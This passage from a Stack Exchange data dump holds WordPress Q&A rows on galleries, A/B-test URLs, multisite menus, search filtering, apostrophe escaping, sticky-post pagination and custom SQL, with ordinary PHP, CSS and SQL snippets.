Tags="&lt;search&gt;&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="26360" PostTypeId="1" CreationDate="2011-08-19T18:06:43.400" Score="0" ViewCount="15" Body="&lt;p&gt;I would like to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a single page, show a link saying &quot;view images&quot;. When clicked, this will bring up a lightbox, within which will be an image gallery that a user can   though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to pull out all the images attached to the post, as some will be used elsewhere on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has any one got any pointers for a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="8042" LastActivityDate="2011-08-19T18:06:43.400" Title="Display image gallery in lightbox via single link" Tags="&lt;images&gt;&lt;gallery&gt;" />
  <row Id="26362" PostTypeId="1" CreationDate="2011-08-19T18:29:55.933" Score="4" ViewCount="54" Body="&lt;p&gt;I want to create a WordPress plugin that allows me to do A/B testing for WordPress standard posts, but I can't use the Shrimptest plugin because I need a spin: Since I'm ultimately testing shareability on social networks, I want each of my variant posts to have unique URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So: How can I create three posts (each with its unique URL) and then rotate their appearance on the frontend?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not even sure if this is technically possible. Any tips on how to get started?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also looked at the WordPress Headline Split Tester (http://wordpress.org/extend/plugins/headline-split-tester/), but again I'm not sure if whomever clicks on their friends' shared Headline A will also go to the post with the same Headline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also looked at the Premise plugin, but they seem to support landing pages only -- not posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any tips/suggestions.&lt;/p&gt;&#xA;" OwnerUserId="7607" LastEditorUserId="7607" LastEditorDisplayName="" LastEditDate="2011-08-19T22:14:31.423" LastActivityDate="2011-08-20T04:55:45.277" Title="Creating Unique Post URLs for A/B Testing... Is this even possible?" Tags="&lt;plugins&gt;&lt;development&gt;&lt;testing&gt;&lt;split&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26364" PostTypeId="1" CreationDate="2011-08-19T18:38:19.613" Score="0" ViewCount="12" Body="&lt;p&gt;How to make category post to be shown at index page? It's mean if default. At index is the newest post of all posts, so can I change to &quot;newest post of specific category&quot;. How to do that? And how to paginate it too... Thanks for advance.&lt;/p&gt;&#xA;" OwnerUserId="6312" LastActivityDate="2011-08-19T18:38:19.613" Title="Make categories to be shown at index page" Tags="&lt;categories&gt;&lt;homepage&gt;" />
  <row Id="26365" PostTypeId="2" ParentId="26362" CreationDate="2011-08-19T18:44:00.633" Score="1" ViewCount="" Body="&lt;p&gt;Already available: &lt;a href=&quot;http://shrimptest.com/&quot; rel=&quot;nofollow&quot;&gt;Shrimptest&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-19T18:44:00.633" CommentCount="1" />
  <row Id="26366" PostTypeId="2" ParentId="7090" CreationDate="2011-08-19T18:48:51.837" Score="0" ViewCount="" Body="&lt;p&gt;This post is a little old, but there is a much simpler solution, barring CSS on your end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrapping the img tag in a div has little negative effect.&lt;/p&gt;&#xA;" OwnerUserId="8046" LastActivityDate="2011-08-19T18:48:51.837" />
  <row Id="26367" PostTypeId="1" CreationDate="2011-08-19T18:49:30.327" Score="1" ViewCount="25" Body="&lt;p&gt;So I'm basically upgrading an older site to WP3 and I need to make it multisite as well for some blogs and such. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have the main site Menu(created from the admin) available on the other sites in an elegant way. That is, every site has a theme and it would be nice if I could just wp_nav_menu() on every one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look at switch_to_blog() but I see it's deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="8045" LastActivityDate="2011-08-19T20:37:37.217" Title="Use wp_nav_menu() to display a Menu from another site in a WP 3 multisite install?" Tags="&lt;multisite&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26368" PostTypeId="1" AcceptedAnswerId="26378" CreationDate="2011-08-19T18:57:26.867" Score="4" ViewCount="40" Body="&lt;p&gt;Can I use the theme uint test data in a demonstration site for a commercial theme? Or am I only allowed to use it for internal development?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Unit_Test&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Unit_Test&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-08-19T20:57:53.287" Title="how is the theme unit test data licensed?" Tags="&lt;licensing&gt;" AnswerCount="2" />
  <row Id="26369" PostTypeId="2" ParentId="26359" CreationDate="2011-08-19T19:03:33.673" Score="0" ViewCount="" Body="&lt;p&gt;Try to drop that in your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_query_for_search( $query ) {&#xA;    if ( isset( $query['s'] ) ) {&#xA;        $query['post_type'] = array('forum', 'topic', 'reply', 'any');&#xA;    }&#xA;    return $query;&#xA;}&#xA;&#xA;add_filter('request', 'filter_query_for_search', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that would hook into the query just before its being executed.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-08-19T19:03:33.673" />
  <row Id="26370" PostTypeId="1" CreationDate="2011-08-19T19:13:41.677" Score="-1" ViewCount="33" Body="&lt;p&gt;I want a new div to appear on thumbnail hover. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #main:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it hovers on #main. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried (and no luck):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img.thumbnail:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;#main img.thumbnail:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;.thumbnail:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;img.thumbnail:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;img.thumbnail .alignleft:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;.thumbnail .alignleft:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;#main.thumbnail .alignleft:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;#main.thumbnail .alignleft img:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;.thumbnail .alignleft img:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;.thumbnail img:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;#main img:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&#xA;img:hover  .whitewrapper {&#xA;  display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7552" LastEditorUserId="7552" LastEditorDisplayName="" LastEditDate="2011-08-23T20:42:33.910" LastActivityDate="2011-08-23T20:42:33.910" Title="Css targeting problem. Any ideas how to fix this?" Tags="&lt;css&gt;" CommentCount="1" />
  <row Id="26371" PostTypeId="1" CreationDate="2011-08-19T19:42:00.443" Score="0" ViewCount="8" Body="&lt;p&gt;I want to remove the &quot;page&quot; bit from the URL when I use the &lt;code&gt;previous_posts_link&lt;/code&gt; and &lt;code&gt;next_posts_link&lt;/code&gt;. Right now, it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mywebsite.com/page/2&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/page/2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mywebsite.com/2&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2994" LastActivityDate="2011-08-19T19:42:00.443" Title="remove the 'page' URL parameter in previous/next posts link" Tags="&lt;links&gt;" />
  <row Id="26372" PostTypeId="1" CreationDate="2011-08-19T19:55:36.350" Score="0" ViewCount="11" Body="&lt;p&gt;i have a site made up of pages and posts. there are only a few pages and a ton of posts. how can i set the search box in my sidebars to search pages only if on a page, or search posts only if on my blog page? right now it mixes everything together on my search page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it would be even cooler if there was a way to add checkboxes under the search box to select posts or pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="7914" LastActivityDate="2011-08-19T20:17:44.753" Title="search only pages if on page" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="26373" PostTypeId="2" ParentId="26372" CreationDate="2011-08-19T20:17:44.753" Score="0" ViewCount="" Body="&lt;p&gt;Conditional tags: &lt;code&gt;is_page()&lt;/code&gt; or &lt;code&gt;is_archive()&lt;/code&gt;. There's also &lt;code&gt;is_singular()&lt;/code&gt;, but you better take a look at this in Codex.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-19T20:17:44.753" />
  <row Id="26374" PostTypeId="1" CreationDate="2011-08-19T20:26:27.450" Score="0" ViewCount="4" Body="&lt;p&gt;I have a network installed and when users log out, it redirects them to the primary domain. I want to keep them on the same domain. My network is on 3.2.1 and has multiple TLDs associated with it. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2011-08-19T20:26:27.450" Title="How do I make the logout action stay on the same network site?" Tags="&lt;network&gt;&lt;logout&gt;" />
  <row Id="26375" PostTypeId="2" ParentId="26367" CreationDate="2011-08-19T20:37:37.217" Score="0" ViewCount="" Body="&lt;p&gt;I'd say: Write a short plugin that offers a simple function to output a menu. Then activate it network wide.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-19T20:37:37.217" />
  <row Id="26376" PostTypeId="2" ParentId="26368" CreationDate="2011-08-19T20:38:43.287" Score="0" ViewCount="" Body="&lt;p&gt;I guess it's allowed as you see it more often (or no one is judging it). It'd also be only 1h of work to make your own. Else, I'd say: Ask @Chip Bennet.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-19T20:38:43.287" CommentCount="4" />
  <row Id="26377" PostTypeId="1" AcceptedAnswerId="26399" CreationDate="2011-08-19T20:53:10.967" Score="0" ViewCount="35" Body="&lt;p&gt;I'm doing an INSERT into a wordpress table and anything with an apostrophe is coming out &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;It\'s true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using htmlspecialchars but I'm still getting the backslash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to write it so that the user sees &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;It's true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While the table in the database sees:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;It\'s true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is my insert code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;                $table =    'wp_nc_location';&#xA;                $data =     array(&#xA;                            'name' =&amp;gt; $name,&#xA;                            'street_no' =&amp;gt; $street_number,&#xA;                            'street_name' =&amp;gt; $street_name,&#xA;                            'city' =&amp;gt; $city,&#xA;                            'province_state' =&amp;gt; $province_state,&#xA;                            'postal_code' =&amp;gt; $postal,&#xA;                            'country' =&amp;gt; $country&#xA;                            ); &#xA;                $format =   array(&#xA;                            '%s',&#xA;                            '%s',&#xA;                            '%s',&#xA;                            '%s',&#xA;                            '%s',&#xA;                            '%s'&#xA;                            );&#xA;                $wpdb-&amp;gt;insert( $table, $data, $format);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="2417" LastEditorDisplayName="" LastEditDate="2011-08-20T14:59:23.567" LastActivityDate="2011-08-20T14:59:23.567" Title="How to deal with apostrophes" Tags="&lt;encoding&gt;" AnswerCount="2" />
  <row Id="26378" PostTypeId="2" ParentId="26368" CreationDate="2011-08-19T20:57:53.287" Score="1" ViewCount="" Body="&lt;p&gt;Everything on the Codex is GPL (or can be considered as GPL-compatible). Insofar as any part of the Theme Unit Test data are copyrightable, unless stated otherwise you may assume that the WordPress Foundation holds the copyright, and that the work is released under the GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to use it however you see fit!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-19T20:57:53.287" CommentCount="3" />
  <row Id="26379" PostTypeId="2" ParentId="26377" CreationDate="2011-08-19T21:23:30.313" Score="0" ViewCount="" Body="&lt;p&gt;How are you writing and reading data exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#INSERT_rows&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb-&amp;gt;insert()&lt;/code&gt;&lt;/a&gt; method? Which you should be doing, it takes care of escaping.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-19T21:23:30.313" CommentCount="1" />
  <row Id="26380" PostTypeId="1" CreationDate="2011-08-19T21:37:35.827" Score="0" ViewCount="12" Body="&lt;p&gt;We need to sort a query based on a custom taxonomy. The problem is that we can’t just sort on the field alone, because it has multiple values associated with it. We were thinking of using PHP to pull the query, isolate the value from the custom taxonomy that we need, put that value as well as the other data we pulled into an array, sort the array, and return back the now sorted data. We are now thinking the more effective way is to actually use a related database table, since that is how the data should be in the first place. Is this possible? If so, how do you use two tables in a WP query?&lt;/p&gt;&#xA;" OwnerUserId="8047" LastActivityDate="2011-08-19T21:37:35.827" Title="Custom MySQL query and related tables question" Tags="&lt;custom-taxonomy&gt;&lt;query&gt;&lt;custom-sql&gt;" CommentCount="1" />
  <row Id="26381" PostTypeId="1" CreationDate="2011-08-19T21:38:39.100" Score="0" ViewCount="10" Body="&lt;p&gt;I've also posted this on WP Forums: &lt;a href=&quot;http://wordpress.org/support/topic/custom-sql-query-for-relating-data?replies=1&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/custom-sql-query-for-relating-data?replies=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s what we’re trying to do: We’re running Buddypress with a few custom post types (Book, URL) which users can add through a form on the front end.  When a new Book is added, the Title, Author, Unique ID of Book,  User ID of the person who added it, and a few other fields are added as metadata and custom taxonomies.  If a new user attempts to add a book which someone else has already added, it doesn’t create a new post, but instead just adds their User ID to the list of Readers (which is a custom taxonomy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each user has their own individual “Shelf” of items that they’ve added, however to display this we are simply creating a custom WP Query instance which looks for any posts with a specific User ID in the Readers taxonomy.  All this happens perfectly, but the issue has to do with the order of the books on each individual user’s shelf.  Right now, it is sorted by default (publish date) so if you add a new book, it shows up most recently in your queue.  But if you “add” a book that has already been added by someone else (so you’ve really just updated a pre-existing Post), this book will appear in the queue in relation to its ORIGINAL publish date, not the date that you’ve added it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, thanks for sticking with me, here is where we need some help: We’d like to add some kind of metadata to each post to keep track of the position in a specific user’s queue.  One way I was considering to do this would be to create a new table and relate the User ID with the Post ID (the book) and then add a Sequence number which would represent where in the person’s queue the book should show up.  However, my knowledge of SQL is very lacking and not sure how to tie in with WP’s pre-existing query methodology.  I think we'll have to JOIN this with the wp_post table somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone think they can point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="8048" LastActivityDate="2011-08-19T21:38:39.100" Title="Custom SQL for relating data" Tags="&lt;custom-sql&gt;" />
  <row Id="26382" PostTypeId="1" CreationDate="2011-08-19T21:58:44.773" Score="0" ViewCount="28" Body="&lt;p&gt;I currently have this in my functions file, which works as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Enable Post Thumbnails&#xA;add_theme_support('post-thumbnails');&#xA;// Custom Thumbnail Sizes&#xA;add_image_size( 'square-small-thumb', 80, 80 );&#xA;add_image_size( 'square-medium-thumb', 150, 150 );&#xA;// Guide image sizes&#xA;add_image_size( 'guide-gallerythumb', 142, 85 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However as it's a large site i'm working on with various post types I don't want my assets folder to be cluttered with too many unused images, therefor I'd like to have some 'global' image sizes but then some image sizes specific to post types, is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'square-small-thumb', 80, 80 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To only be generated for the post type 'news'&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditorDisplayName="" LastEditDate="2011-08-19T22:05:30.080" LastActivityDate="2011-08-19T22:05:30.080" Title="add_image_size for post type" Tags="&lt;custom-post-types&gt;&lt;post-thumbnails&gt;&lt;add-image-size&gt;" CommentCount="1" />
  <row Id="26383" PostTypeId="1" CreationDate="2011-08-19T22:04:18.890" Score="0" ViewCount="25" Body="&lt;p&gt;This is going to be a difficult question but I hope the WordPress community can help with my dilemma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My WordPress site is setup with a category and custom post. The category number is 4 and the custom post is cnet-news. I also have the first loop to use different styling as illustrated on the WordPress Codex page .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting close to finding a solution that it involves excluding metakeys and metavalues from the custom posts. Is there a way to exclude metakeys and metavalues? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'post__in'  =&amp;gt; get_option( 'sticky_posts' ),&#xA;    'ignore_sticky_posts' =&amp;gt; 1,&#xA;    'post_type' =&amp;gt; array('post','cnet-news'),&#xA;);&#xA;query_posts( $args );&#xA;?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php $displayed = $post-&amp;gt;ID;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code I'm using to style different posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'news', 'bignews') ) { ?&amp;gt;&#xA;&amp;lt;article&amp;gt;&#xA;&amp;lt;?php } elseif (custom post type goes here) { ?&amp;gt;&#xA;&amp;lt;?php } elseif (get_post_meta($post-&amp;gt;ID, 'news', 'breakingnews')) { ?&amp;gt;&#xA;&amp;lt;article&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;&amp;lt;article&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php endwhile;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where do I go from here? All help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Gregory S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I think I found a solution, don't know if this is perfect but it works. Here's what I did if anyone else wants to do this. If anyone wants to correct the code, feel free to add it. Just change 'post_type' and the the meta keys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'posts_per_page' =&amp;gt;1,&#xA;    'post__in'  =&amp;gt;get_option( 'sticky_posts' ),&#xA;    'ignore_sticky_posts' =&amp;gt;1,&#xA;    'post_type' =&amp;gt;array('post','cnet-news'),&#xA;);&#xA;query_posts( $args );&#xA;?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php $displayed = $post-&amp;gt;ID;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the code used to use different stylings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'news', 'bignews') ) { ?&amp;gt;&#xA;    &amp;lt;article&amp;gt;&#xA;&amp;lt;?php } elseif ( get_post_meta($post-&amp;gt;ID, 'cnetnews', true) ) { ?&amp;gt;&#xA;    &amp;lt;?php $value = get_post_meta($post-&amp;gt;ID, 'cnetnews', true);&#xA;&#xA;    if($value == 'cnetnews') {&#xA;            echo '';&#xA;    } elseif($value == 'bigstory') {&#xA;            echo 'title';&#xA;    } elseif($value == 'eating') {&#xA;            echo '&amp;lt;a href=&quot;http://domain.tld/eating/&quot;&amp;gt;Dieting Advice&amp;lt;/a&amp;gt;';&#xA;    } else {&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA; &amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;article&amp;gt;&#xA; &amp;lt;?php } ?&amp;gt;&#xA; &amp;lt;?php endwhile;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8049" LastEditorUserId="8049" LastEditorDisplayName="" LastEditDate="2011-08-20T01:52:35.060" LastActivityDate="2011-08-20T01:52:35.060" Title="wordpress loop with category and custom post with different styling" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;custom-loop&gt;" />
  <row Id="26384" PostTypeId="1" AcceptedAnswerId="27019" CreationDate="2011-08-19T22:07:32.620" Score="1" ViewCount="217" Body="&lt;p&gt;I've tried everything.  I've looked at every. single. question. here, on StackOverflow, the WP help forum, googled 10 pages deep and literally tried EVERY combination of code I could find, for the last 2 days, and can't get anything to work how I want it.  Surely it can't be impossible?  The goal seems so simple!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;THE GOAL:&lt;/strong&gt; &lt;em&gt;Show ALL sticky posts first, and then normal posts after them - WITH PAGINATION.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:  With posts per page set to 10, having 15 sticky posts and 15 normal posts, page 1 would be 10 sticky posts, page 2 would be 5 sticky posts and then 5 normal posts, and page 3 would be 10 normal posts.  Ordered by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried multiple loops, various queries, and have come CLOSE but so far no cigar.  Here's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- THIS CODE QUERIES ALL POSTS AND RETURNS ONLY STICKY POSTS, DISPLAYED AT TOP OF THE PAGE --&amp;gt;&#xA;&amp;lt;?php&#xA;// show only ads within this specific category&#xA;$term = get_term_by('slug', get_query_var('term'), get_query_var('taxonomy'));&#xA;//$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$sticky=get_option('sticky_posts');&#xA;$args=array(&#xA;    'post_type' =&amp;gt; 'my_custom_post_type',&#xA;    'ad_cat' =&amp;gt; $term-&amp;gt;slug,&#xA;    'caller_get_posts' =&amp;gt; 1,&#xA;    'post__in' =&amp;gt; $sticky,&#xA;    'posts_per_page' =&amp;gt; -1&#xA;    //'paged' =&amp;gt; $paged&#xA;    );&#xA;query_posts($args);&#xA;?&amp;gt;&#xA;&amp;lt;?php get_template_part( 'loop', 'post_featured' ); ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;&amp;lt;!-- THIS CODE QUERIES ALL POSTS AND RETURNS ONLY REGULAR POSTS, DISPLAYED BELOW THE STICKIES --&amp;gt;    &#xA;&amp;lt;?php&#xA;// show only ads within this specific category&#xA;$term = get_term_by('slug', get_query_var('term'), get_query_var('taxonomy'));&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$sticky=get_option('sticky_posts');&#xA;$args=array(&#xA;    'post_type' =&amp;gt; 'my_custom_post_type',&#xA;    'ad_cat' =&amp;gt; $term-&amp;gt;slug,&#xA;    'caller_get_posts' =&amp;gt; 1,&#xA;    'post__not_in' =&amp;gt; $sticky,&#xA;    'paged' =&amp;gt; $paged,&#xA;    );&#xA;query_posts($args);&#xA;?&amp;gt;&#xA;&amp;lt;?php get_template_part( 'loop', 'post_normal' ); ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above shows ALL sticky posts and then (5) normal posts.  This is the closest I have gotten, but #1, I don't want to show ALL sticky posts on the first page, I want to adhere to the pagination rules.  #2, ALL sticky posts show up on all paged pages.  So if I have 50 sticky posts and 50 normal posts, each page shows 55 posts - the first 50 are the sticky posts and the last 5 are normal, which is not my goal (see THE GOAL above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy modification to one or both loops?  Should I be using a double loop or is there another/better option to do this?  I'm open to suggestions as long as I get it to WORK.  I should note:  I'm using WP 3.2.1 and a slimmed down non-plugin pagination function which was taken from WP-PageNavi (full pagination function can be seen here: &lt;a href=&quot;http://paste2.org/p/1596821&quot; rel=&quot;nofollow&quot;&gt;http://paste2.org/p/1596821&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-08-27T03:48:12.813" Title="Custom loops, sticky posts, and pagination nightmare" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;pagination&gt;&lt;loop&gt;&lt;sticky-post&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="26385" PostTypeId="1" CreationDate="2011-08-19T22:09:12.073" Score="0" ViewCount="36" Body="&lt;p&gt;I'm looking to advise a user that they should change their password from the default generated one that was emailed to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function or hook that will tell me if the user is running the default password?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-20T00:00:50.740" Title="How to determine if a user has not changed default generated password" Tags="&lt;login&gt;&lt;password&gt;" AnswerCount="2" />
  <row Id="26386" PostTypeId="1" CreationDate="2011-08-19T22:13:16.467" Score="0" ViewCount="15" Body="&lt;p&gt;i would like my WP URLs to be fully in my language so instead of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site.com/page/2/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would like to have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site.com/pagina/2/&lt;/code&gt; (in spanish)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i accomplish this? i tried to do simple &lt;code&gt;str_replace&lt;/code&gt; on default rules but when accessing &lt;code&gt;site.com/pagina/2/&lt;/code&gt; WP redirects me to &lt;code&gt;site.com/pagina/2/page/2/&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas what could be wrong ?&lt;/p&gt;&#xA;" OwnerUserId="8050" LastActivityDate="2011-08-19T22:13:16.467" Title="rename 'page' URL fragment in pretty permalinks" Tags="&lt;permalinks&gt;" />
  <row Id="26387" PostTypeId="2" ParentId="25860" CreationDate="2011-08-19T22:15:11.767" Score="2" ViewCount="" Body="&lt;p&gt;Here's one solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;&#xA;$cat_array = $wpdb-&amp;gt;get_results( &quot;&#xA;    SELECT terms.*, posts.ID as post_ID&#xA;    FROM wp_terms terms &#xA;    JOIN wp_term_taxonomy term_taxonomy &#xA;        ON terms.term_id = term_taxonomy.term_id&#xA;    JOIN wp_term_relationships term_relationships &#xA;        ON ( term_relationships.term_taxonomy_id = term_taxonomy.term_taxonomy_id &#xA;            AND term_taxonomy.taxonomy = 'category' )&#xA;    JOIN wp_posts posts &#xA;        ON ( posts.ID = term_relationships.object_id &#xA;            AND posts.post_type='post'&#xA;            AND posts.post_status='publish' )&#xA;    GROUP BY terms.term_id&#xA;    ORDER BY posts.post_modified_gmt DESC&quot; );&#xA;&#xA;foreach ($cat_array as $cat) {&#xA;&#xA;    $category = get_term_by( 'ID', $cat-&amp;gt;term_id, 'category');&#xA;    $post = get_post( $cat-&amp;gt;post_ID );&#xA;&#xA;    echo '&amp;lt;a href=&quot;' . esc_attr(get_term_link($category, 'category')) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;';&#xA;    echo get_the_post_thumbnail( $cat-&amp;gt;post_ID, 'post-thumbnail' );&#xA;    echo 